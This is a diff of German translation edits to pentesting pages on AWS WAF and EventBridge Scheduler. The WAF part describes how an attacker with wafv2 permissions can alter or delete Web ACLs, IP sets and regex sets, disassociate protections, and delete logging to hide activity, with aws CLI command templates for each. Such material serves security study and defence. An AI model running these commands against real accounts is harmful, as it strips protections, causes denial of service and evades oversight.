Jede Regelgruppe hat ihre zugehörige **Kapazität**, die hilft, die Betriebsmittel zu berechnen und zu steuern, die verwendet werden, um Ihre Regeln, Regelgruppen und Web ACLs auszuführen. Sobald ihr Wert während der Erstellung festgelegt ist, kann er nicht mehr geändert werden.
|
||||
Jede Regelgruppe hat ihre zugehörige **Kapazität**, die hilft, die Betriebsmittel zu berechnen und zu steuern, die verwendet werden, um Ihre Regeln, Regelgruppen und Web ACLs auszuführen. Sobald ihr Wert bei der Erstellung festgelegt ist, kann er nicht mehr geändert werden.
|
||||
|
||||
#### Regel
|
||||
|
||||
@@ -51,38 +49,38 @@ API-Schlüssel in AWS WAF werden verwendet, um Anfragen an bestimmte API-Operati
|
||||
|
||||
#### Berechtigungspolitik
|
||||
|
||||
Eine Berechtigungspolitik ist eine IAM-Politik, die festlegt, wer Aktionen an AWS WAF-Ressourcen ausführen kann. Durch die Definition von Berechtigungen können Sie den Zugriff auf WAF-Ressourcen steuern und sicherstellen, dass nur autorisierte Benutzer Konfigurationen erstellen, aktualisieren oder löschen können.
|
||||
Eine Berechtigungspolitik ist eine IAM-Politik, die festlegt, wer Aktionen an AWS WAF-Ressourcen durchführen kann. Durch die Definition von Berechtigungen können Sie den Zugriff auf WAF-Ressourcen steuern und sicherstellen, dass nur autorisierte Benutzer Konfigurationen erstellen, aktualisieren oder löschen können.
|
||||
|
||||
#### Geltungsbereich
|
||||
|
||||
Der Geltungsbereichsparameter in AWS WAF gibt an, ob die WAF-Regeln und -Konfigurationen für eine regionale Anwendung oder eine Amazon CloudFront-Verteilung gelten.
|
||||
Der Geltungsbereichsparameter in AWS WAF gibt an, ob die WAF-Regeln und -Konfigurationen auf eine regionale Anwendung oder eine Amazon CloudFront-Verteilung angewendet werden.
|
||||
|
||||
- **REGIONAL**: Gilt für regionale Dienste wie Application Load Balancers (ALB), Amazon API Gateway REST API, AWS AppSync GraphQL API, Amazon Cognito-Benutzerpool, AWS App Runner-Dienst und AWS Verified Access-Instanz. Sie geben die AWS-Region an, in der sich diese Ressourcen befinden.
|
||||
- **CLOUDFRONT**: Gilt für Amazon CloudFront-Verteilungen, die global sind. WAF-Konfigurationen für CloudFront werden über die Region `us-east-1` verwaltet, unabhängig davon, wo der Inhalt bereitgestellt wird.
|
||||
|
||||
### Hauptmerkmale
|
||||
|
||||
#### Überwachungsbedingungen (Bedingungen)
|
||||
#### Überwachungskriterien (Bedingungen)
|
||||
|
||||
**Bedingungen** geben die Elemente der eingehenden HTTP/HTTPS-Anfragen an, die AWS WAF überwacht, darunter XSS, geografische Lage (GEO), IP-Adressen, Größenbeschränkungen, SQL-Injection und Muster (Strings und Regex-Matching). Es ist wichtig zu beachten, dass **Anfragen, die auf Länderebene bei CloudFront eingeschränkt sind, WAF nicht erreichen**.
|
||||
**Bedingungen** geben die Elemente der eingehenden HTTP/HTTPS-Anfragen an, die AWS WAF überwacht, darunter XSS, geografische Lage (GEO), IP-Adressen, Größenbeschränkungen, SQL-Injection und Muster (Strings und Regex-Matching). Es ist wichtig zu beachten, dass **Anfragen, die auf CloudFront-Ebene basierend auf dem Land eingeschränkt sind, WAF nicht erreichen**.
|
||||
|
||||
Jedes AWS-Konto kann konfigurieren:
|
||||
|
||||
- **100 Bedingungen** für jeden Typ (außer für Regex, wo nur **10 Bedingungen** erlaubt sind, aber dieses Limit kann erhöht werden).
|
||||
- **100 Regeln** und **50 Web ACLs**.
|
||||
- Maximal **5 rate-basierte Regeln**.
|
||||
- Ein Maximum von **5 rate-basierten Regeln**.
|
||||
- Ein Durchsatz von **10.000 Anfragen pro Sekunde**, wenn WAF mit einem Application Load Balancer implementiert ist.
|
||||
|
||||
#### Regelaktionen
|
||||
|
||||
Aktionen werden jeder Regel zugewiesen, wobei die Optionen sind:
|
||||
|
||||
- **Erlauben**: Die Anfrage wird an die entsprechende CloudFront-Verteilung oder den Application Load Balancer weitergeleitet.
|
||||
- **Blockieren**: Die Anfrage wird sofort beendet.
|
||||
- **Zählen**: Zählt die Anfragen, die die Bedingungen der Regel erfüllen. Dies ist nützlich für das Testen von Regeln, um die Genauigkeit der Regel zu bestätigen, bevor sie auf Erlauben oder Blockieren gesetzt wird.
|
||||
- **CAPTCHA und Herausforderung:** Es wird überprüft, dass die Anfrage nicht von einem Bot stammt, indem CAPTCHA-Rätsel und stille Herausforderungen verwendet werden.
|
||||
- **Allow**: Die Anfrage wird an die entsprechende CloudFront-Verteilung oder den Application Load Balancer weitergeleitet.
|
||||
- **Block**: Die Anfrage wird sofort beendet.
|
||||
- **Count**: Zählt die Anfragen, die die Bedingungen der Regel erfüllen. Dies ist nützlich für das Testen von Regeln, um die Genauigkeit der Regel zu bestätigen, bevor sie auf Allow oder Block gesetzt wird.
|
||||
- **CAPTCHA und Challenge:** Es wird überprüft, dass die Anfrage nicht von einem Bot stammt, indem CAPTCHA-Rätsel und stille Herausforderungen verwendet werden.
|
||||
|
||||
Wenn eine Anfrage keine Regel innerhalb der Web ACL erfüllt, unterliegt sie der **Standardaktion** (Erlauben oder Blockieren). Die Reihenfolge der Regelverarbeitung, die innerhalb einer Web ACL definiert ist, ist entscheidend und folgt typischerweise dieser Reihenfolge:
|
||||
Wenn eine Anfrage keine Regel innerhalb der Web ACL erfüllt, unterliegt sie der **Standardaktion** (Allow oder Block). Die Reihenfolge der Regelausführung, die innerhalb einer Web ACL definiert ist, ist entscheidend und folgt typischerweise dieser Reihenfolge:
|
||||
|
||||
1. Erlaube aufgelistete IPs.
|
||||
2. Blockiere aufgelistete IPs.
|
||||
@@ -243,11 +241,11 @@ Die **rule.json**-Datei würde folgendermaßen aussehen:
|
||||
|
||||
Mit diesen Berechtigungen könnte ein Angreifer:
|
||||
|
||||
- Eine neue Web-ACL erstellen, die Regeln einführt, die entweder bösartigen Datenverkehr durchlassen oder legitimen Datenverkehr blockieren, wodurch die WAF effektiv nutzlos wird oder ein Denial of Service verursacht wird.
|
||||
- Bestehende Web-ACLs aktualisieren und in der Lage sein, Regeln zu ändern, um Angriffe wie SQL-Injection oder Cross-Site-Scripting zuzulassen, die zuvor blockiert wurden, oder den normalen Datenverkehr zu stören, indem gültige Anfragen blockiert werden.
|
||||
- Eine Web-ACL löschen, wodurch die betroffenen Ressourcen vollständig ungeschützt bleiben und einer breiten Palette von Webangriffen ausgesetzt sind.
|
||||
- Eine neue Web ACL erstellen, indem er Regeln einführt, die entweder bösartigen Datenverkehr durchlassen oder legitimen Datenverkehr blockieren, wodurch die WAF effektiv nutzlos wird oder ein Denial of Service verursacht wird.
|
||||
- Bestehende Web ACLs aktualisieren, indem er in der Lage ist, Regeln zu ändern, um Angriffe wie SQL-Injection oder Cross-Site-Scripting zuzulassen, die zuvor blockiert wurden, oder den normalen Datenverkehr zu stören, indem er gültige Anfragen blockiert.
|
||||
- Eine Web ACL löschen, wodurch die betroffenen Ressourcen vollständig ungeschützt bleiben und einer breiten Palette von Webangriffen ausgesetzt sind.
|
||||
|
||||
> [!HINWEIS]
|
||||
> [!NOTE]
|
||||
> Sie können die angegebene **WebACL** nur löschen, wenn **ManagedByFirewallManager** falsch ist.
|
||||
```bash
|
||||
# Create Web ACL
|
||||
@@ -259,9 +257,9 @@ aws wafv2 update-web-acl --name <value> --id <value> --default-action <value> --
|
||||
# Delete Web ACL
|
||||
aws wafv2 delete-web-acl --name <value> --id <value> --lock-token <value> --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1>
|
||||
```
|
||||
Die folgenden Beispiele zeigen, wie man eine Web-ACL aktualisiert, um den legitimen Verkehr von einem bestimmten IP-Set zu blockieren. Wenn die Ursprungs-IP mit keiner dieser IPs übereinstimmt, würde die Standardaktion ebenfalls darin bestehen, sie zu blockieren, was zu einem DoS führen kann.
|
||||
Die folgenden Beispiele zeigen, wie man eine Web-ACL aktualisiert, um den legitimen Verkehr von einem bestimmten IP-Set zu blockieren. Wenn die Ursprungs-IP mit keiner dieser IPs übereinstimmt, wäre die Standardaktion ebenfalls, sie zu blockieren, was zu einem DoS führen kann.
|
||||
|
||||
**Original Web-ACL**:
|
||||
**Original Web ACL**:
|
||||
```json
|
||||
{
|
||||
"WebACL": {
|
||||
@@ -329,11 +327,11 @@ Die **rule.json**-Datei würde folgendermaßen aussehen:
|
||||
}
|
||||
]
|
||||
```
|
||||
**Potenzielle Auswirkungen**: Unbefugter Zugriff, Datenverletzungen und potenzielle DoS-Angriffe.
|
||||
**Potenzielle Auswirkungen**: Unbefugter Zugriff, Datenpannen und potenzielle DoS-Angriffe.
|
||||
|
||||
#### **`wafv2:AssociateWebACL`, `wafv2:DisassociateWebACL`**
|
||||
|
||||
Die Berechtigung **`wafv2:AssociateWebACL`** würde es einem Angreifer ermöglichen, Web-ACLs (Access Control Lists) mit Ressourcen zu verknüpfen, wodurch Sicherheitskontrollen umgangen werden könnten, was unbefugtem Datenverkehr den Zugang zur Anwendung ermöglicht und potenziell zu Ausnutzungen wie SQL-Injection oder Cross-Site-Scripting (XSS) führen könnte. Im Gegensatz dazu könnte der Angreifer mit der Berechtigung **`wafv2:DisassociateWebACL`** vorübergehend Sicherheitsmaßnahmen deaktivieren und die Ressourcen ohne Erkennung anfällig machen.
|
||||
Die Berechtigung **`wafv2:AssociateWebACL`** würde es einem Angreifer ermöglichen, Web-ACLs (Access Control Lists) mit Ressourcen zu verknüpfen, wodurch Sicherheitskontrollen umgangen werden könnten, was unbefugtem Datenverkehr den Zugang zur Anwendung ermöglicht und potenziell zu Exploits wie SQL-Injection oder Cross-Site-Scripting (XSS) führen könnte. Im Gegensatz dazu könnte der Angreifer mit der Berechtigung **`wafv2:DisassociateWebACL`** vorübergehend Sicherheitsmaßnahmen deaktivieren und die Ressourcen ohne Erkennung anfällig machen.
|
||||
|
||||
Die zusätzlichen Berechtigungen wären je nach geschütztem Ressourcentyp erforderlich:
|
||||
|
||||
@@ -359,9 +357,9 @@ aws wafv2 disassociate-web-acl --resource-arn <value>
|
||||
```
|
||||
**Potenzielle Auswirkungen**: Kompromittierte Ressourcensicherheit, erhöhtes Risiko von Ausnutzung und potenzielle Dienstunterbrechungen innerhalb von AWS-Umgebungen, die durch AWS WAF geschützt sind.
|
||||
|
||||
#### **`wafv2:CreateIPSet`, `wafv2:UpdateIPSet`, `wafv2:DeleteIPSet`**
|
||||
#### **`wafv2:CreateIPSet` , `wafv2:UpdateIPSet`, `wafv2:DeleteIPSet`**
|
||||
|
||||
Ein Angreifer könnte die von AWS WAF verwalteten IP-Sets erstellen, aktualisieren und löschen. Dies könnte gefährlich sein, da er neue IP-Sets erstellen könnte, um bösartigen Datenverkehr zuzulassen, IP-Sets ändern könnte, um legitimen Datenverkehr zu blockieren, bestehende IP-Sets aktualisieren könnte, um bösartige IP-Adressen einzuschließen, vertrauenswürdige IP-Adressen entfernen oder kritische IP-Sets löschen könnte, die zum Schutz kritischer Ressourcen gedacht sind.
|
||||
Ein Angreifer könnte in der Lage sein, die von AWS WAF verwalteten IP-Sets zu erstellen, zu aktualisieren und zu löschen. Dies könnte gefährlich sein, da er neue IP-Sets erstellen könnte, um bösartigen Datenverkehr zuzulassen, IP-Sets ändern könnte, um legitimen Datenverkehr zu blockieren, bestehende IP-Sets aktualisieren könnte, um bösartige IP-Adressen einzuschließen, vertrauenswürdige IP-Adressen entfernen oder kritische IP-Sets löschen könnte, die zum Schutz kritischer Ressourcen gedacht sind.
|
||||
```bash
|
||||
# Create IP set
|
||||
aws wafv2 create-ip-set --name <value> --ip-address-version <IPV4 | IPV6> --addresses <value> --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1>
|
||||
@@ -378,11 +376,11 @@ aws wafv2 update-ip-set --name LegitimateIPv4Set --id 1a2b3c4d-1a2b-1a2b-1a2b-1a
|
||||
|
||||
#### **`wafv2:CreateRegexPatternSet`**, **`wafv2:UpdateRegexPatternSet`**, **`wafv2:DeleteRegexPatternSet`**
|
||||
|
||||
Ein Angreifer mit diesen Berechtigungen könnte die regulären Ausdrucksmuster-Sets manipulieren, die von AWS WAF verwendet werden, um den eingehenden Datenverkehr basierend auf spezifischen Mustern zu steuern und zu filtern.
|
||||
Ein Angreifer mit diesen Berechtigungen könnte die regulären Ausdrucksmuster-Sets manipulieren, die von AWS WAF verwendet werden, um den eingehenden Datenverkehr basierend auf bestimmten Mustern zu steuern und zu filtern.
|
||||
|
||||
- Das Erstellen neuer Regex-Muster würde einem Angreifer helfen, schädliche Inhalte zuzulassen.
|
||||
- Durch das Aktualisieren der bestehenden Muster könnte ein Angreifer Sicherheitsregeln umgehen.
|
||||
- Das Löschen von Mustern, die dazu gedacht sind, bösartige Aktivitäten zu blockieren, könnte einem Angreifer ermöglichen, schädliche Payloads zu senden und die Sicherheitsmaßnahmen zu umgehen.
|
||||
- Das Löschen von Mustern, die dazu bestimmt sind, böswillige Aktivitäten zu blockieren, könnte es einem Angreifer ermöglichen, schädliche Payloads zu senden und die Sicherheitsmaßnahmen zu umgehen.
|
||||
```bash
|
||||
# Create regex pattern set
|
||||
aws wafv2 create-regex-pattern-set --name <value> --regular-expression-list <value> --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1> [--description <value>]
|
||||
@@ -395,23 +393,23 @@ aws wafv2 delete-regex-pattern-set --name <value> --scope <REGIONAL --region=<va
|
||||
|
||||
#### **(`wavf2:PutLoggingConfiguration` &** `iam:CreateServiceLinkedRole`), **`wafv2:DeleteLoggingConfiguration`**
|
||||
|
||||
Ein Angreifer mit der **`wafv2:DeleteLoggingConfiguration`** wäre in der Lage, die Protokollkonfiguration aus der angegebenen Web-ACL zu entfernen. Anschließend könnte ein Angreifer mit den Berechtigungen **`wavf2:PutLoggingConfiguration`** und **`iam:CreateServiceLinkedRole`** Protokollkonfigurationen erstellen oder ersetzen (nachdem er sie gelöscht hat), um entweder das Protokollieren ganz zu verhindern oder Protokolle an unbefugte Ziele umzuleiten, wie z.B. Amazon S3-Buckets, Amazon CloudWatch Logs-Protokollgruppen oder einen Amazon Kinesis Data Firehose, der unter Kontrolle steht.
|
||||
Ein Angreifer mit der **`wafv2:DeleteLoggingConfiguration`** wäre in der Lage, die Protokollkonfiguration aus dem angegebenen Web ACL zu entfernen. Anschließend könnte ein Angreifer mit den Berechtigungen **`wavf2:PutLoggingConfiguration`** und **`iam:CreateServiceLinkedRole`** Protokollkonfigurationen erstellen oder ersetzen (nachdem er sie gelöscht hat), um entweder das Protokollieren ganz zu verhindern oder Protokolle an unbefugte Ziele umzuleiten, wie z.B. Amazon S3-Buckets, Amazon CloudWatch Logs-Protokollgruppen oder einen Amazon Kinesis Data Firehose, der unter Kontrolle steht.
|
||||
|
||||
Während des Erstellungsprozesses richtet der Dienst automatisch die erforderlichen Berechtigungen ein, um das Schreiben von Protokollen an das angegebene Protokollziel zu ermöglichen:
|
||||
|
||||
- **Amazon CloudWatch Logs:** AWS WAF erstellt eine Ressourcenrichtlinie für die designated CloudWatch Logs-Protokollgruppe. Diese Richtlinie stellt sicher, dass AWS WAF die erforderlichen Berechtigungen hat, um Protokolle in die Protokollgruppe zu schreiben.
|
||||
- **Amazon S3 Bucket:** AWS WAF erstellt eine Bucket-Richtlinie für den designated S3-Bucket. Diese Richtlinie gewährt AWS WAF die notwendigen Berechtigungen, um Protokolle in den angegebenen Bucket hochzuladen.
|
||||
- **Amazon Kinesis Data Firehose:** AWS WAF erstellt eine dienstgebundene Rolle, die speziell für die Interaktion mit Kinesis Data Firehose gedacht ist. Diese Rolle ermöglicht es AWS WAF, Protokolle an den konfigurierten Firehose-Stream zu liefern.
|
||||
- **Amazon Kinesis Data Firehose:** AWS WAF erstellt eine dienstgebundene Rolle, die speziell für die Interaktion mit Kinesis Data Firehose vorgesehen ist. Diese Rolle ermöglicht es AWS WAF, Protokolle an den konfigurierten Firehose-Stream zu liefern.
|
||||
|
||||
> [!HINWEIS]
|
||||
> Es ist möglich, nur ein Protokollziel pro Web-ACL zu definieren.
|
||||
> Es ist möglich, nur ein Protokollziel pro Web ACL zu definieren.
|
||||
```bash
|
||||
# Put logging configuration
|
||||
aws wafv2 put-logging-configuration --logging-configuration <value>
|
||||
# Delete logging configuration
|
||||
aws wafv2 delete-logging-configuration --resource-arn <value> [--log-scope <CUSTOMER | SECURITY_LAKE>] [--log-type <value>]
|
||||
```
|
||||
**Potenzielle Auswirkungen:** Eingeschränkte Sichtbarkeit auf Sicherheitsereignisse, erschwert den Vorfallreaktionsprozess und erleichtert verdeckte böswillige Aktivitäten in AWS WAF-geschützten Umgebungen.
|
||||
**Potenzielle Auswirkungen:** Eingeschränkte Sichtbarkeit auf Sicherheitsereignisse, erschwert den Vorfallreaktionsprozess und erleichtert heimliche böswillige Aktivitäten in AWS WAF-geschützten Umgebungen.
|
||||
|
||||
#### **`wafv2:DeleteAPIKey`**
|
||||
|
||||
@@ -424,7 +422,7 @@ aws wafv2 delete-api-key --api-key <value> --scope <REGIONAL --region=<value> |
|
||||
|
||||
#### **`wafv2:TagResource`, `wafv2:UntagResource`**
|
||||
|
||||
Ein Angreifer könnte in der Lage sein, Tags von AWS WAFv2-Ressourcen hinzuzufügen, zu ändern oder zu entfernen, wie z.B. Web ACLs, Regelgruppen, IP-Sets, Regex-Muster-Sets und Protokollkonfigurationen.
|
||||
Ein Angreifer könnte Tags von AWS WAFv2-Ressourcen wie Web-ACLs, Regelgruppen, IP-Sets, Regex-Muster-Sets und Protokollkonfigurationen hinzufügen, ändern oder entfernen.
|
||||
```bash
|
||||
# Tag
|
||||
aws wafv2 tag-resource --resource-arn <value> --tags <value>
|
||||
|
||||
@@ -1,26 +1,24 @@
|
||||
# AWS - EventBridge Scheduler Enum
|
||||
|
||||
## EventBridge Scheduler
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## EventBridge Scheduler
|
||||
|
||||
**Amazon EventBridge Scheduler** ist ein vollständig verwalteter, **serverloser Scheduler, der entwickelt wurde, um Aufgaben** in großem Maßstab zu erstellen, auszuführen und zu verwalten. Er ermöglicht es Ihnen, Millionen von Aufgaben über mehr als 270 AWS-Dienste und 6.000+ API-Operationen von einem zentralen Dienst aus zu planen. Mit integrierter Zuverlässigkeit und ohne Infrastrukturverwaltung vereinfacht der EventBridge Scheduler die Planung, senkt die Wartungskosten und skaliert automatisch, um der Nachfrage gerecht zu werden. Sie können Cron- oder Ratenausdrücke für wiederkehrende Zeitpläne konfigurieren, einmalige Aufrufe festlegen und flexible Lieferfenster mit Wiederholungsoptionen definieren, um sicherzustellen, dass Aufgaben zuverlässig basierend auf der Verfügbarkeit der nachgelagerten Ziele geliefert werden.
|
||||
**Amazon EventBridge Scheduler** ist ein vollständig verwalteter, **serverloser Scheduler, der entwickelt wurde, um Aufgaben** in großem Maßstab zu erstellen, auszuführen und zu verwalten. Er ermöglicht es Ihnen, Millionen von Aufgaben über mehr als 270 AWS-Dienste und 6.000+ API-Operationen zu planen, alles von einem zentralen Dienst aus. Mit integrierter Zuverlässigkeit und ohne Infrastrukturverwaltung vereinfacht der EventBridge Scheduler die Planung, reduziert die Wartungskosten und skaliert automatisch, um der Nachfrage gerecht zu werden. Sie können Cron- oder Ratenausdrücke für wiederkehrende Zeitpläne konfigurieren, einmalige Aufrufe festlegen und flexible Lieferfenster mit Wiederholungsoptionen definieren, um sicherzustellen, dass Aufgaben zuverlässig basierend auf der Verfügbarkeit der nachgelagerten Ziele geliefert werden.
|
||||
|
||||
Es gibt ein anfängliches Limit von 1.000.000 Zeitplänen pro Region und Konto. Selbst die offizielle Quoten-Seite empfiehlt: "Es wird empfohlen, einmalige Zeitpläne zu löschen, sobald sie abgeschlossen sind." 
|
||||
Es gibt ein anfängliches Limit von 1.000.000 Zeitplänen pro Region und Konto. Selbst die offizielle Quoten-Seite empfiehlt: "Es wird empfohlen, einmalige Zeitpläne zu löschen, sobald sie abgeschlossen sind."
|
||||
|
||||
### Arten von Zeitplänen
|
||||
|
||||
Arten von Zeitplänen im EventBridge Scheduler:
|
||||
|
||||
1. **Einmalige Zeitpläne** – Führen Sie eine Aufgabe zu einem bestimmten Zeitpunkt aus, z. B. am 21. Dezember um 7 Uhr UTC.
|
||||
2. **Ratenbasierte Zeitpläne** – Legen Sie wiederkehrende Aufgaben basierend auf einer Frequenz fest, z. B. alle 2 Stunden.
|
||||
3. **Cron-basierte Zeitpläne** – Legen Sie wiederkehrende Aufgaben mit einem Cron-Ausdruck fest, z. B. jeden Freitag um 16 Uhr.
|
||||
1. **Einmalige Zeitpläne** – Führen Sie eine Aufgabe zu einem bestimmten Zeitpunkt aus, z.B. am 21. Dezember um 7 Uhr UTC.
|
||||
2. **Ratenbasierte Zeitpläne** – Legen Sie wiederkehrende Aufgaben basierend auf einer Frequenz fest, z.B. alle 2 Stunden.
|
||||
3. **Cron-basierte Zeitpläne** – Legen Sie wiederkehrende Aufgaben mit einem Cron-Ausdruck fest, z.B. jeden Freitag um 16 Uhr.
|
||||
|
||||
Zwei Mechanismen zur Handhabung fehlgeschlagener Ereignisse:
|
||||
|
||||
1. **Wiederholungsrichtlinie** – Definiert die Anzahl der Wiederholungsversuche für ein fehlgeschlagenes Ereignis und wie lange es unprocessed bleiben soll, bevor es als Fehler betrachtet wird.
|
||||
1. **Wiederholungsrichtlinie** – Definiert die Anzahl der Wiederholungsversuche für ein fehlgeschlagenes Ereignis und wie lange es unprocessed bleibt, bevor es als Fehler betrachtet wird.
|
||||
2. **Dead-Letter Queue (DLQ)** – Eine Standard-Amazon SQS-Warteschlange, in der fehlgeschlagene Ereignisse nach Erschöpfung der Wiederholungen geliefert werden. DLQs helfen bei der Fehlersuche bei Problemen mit Ihrem Zeitplan oder dessen nachgelagertem Ziel.
|
||||
|
||||
### Ziele
|
||||
|
||||
Reference in New Issue
Block a user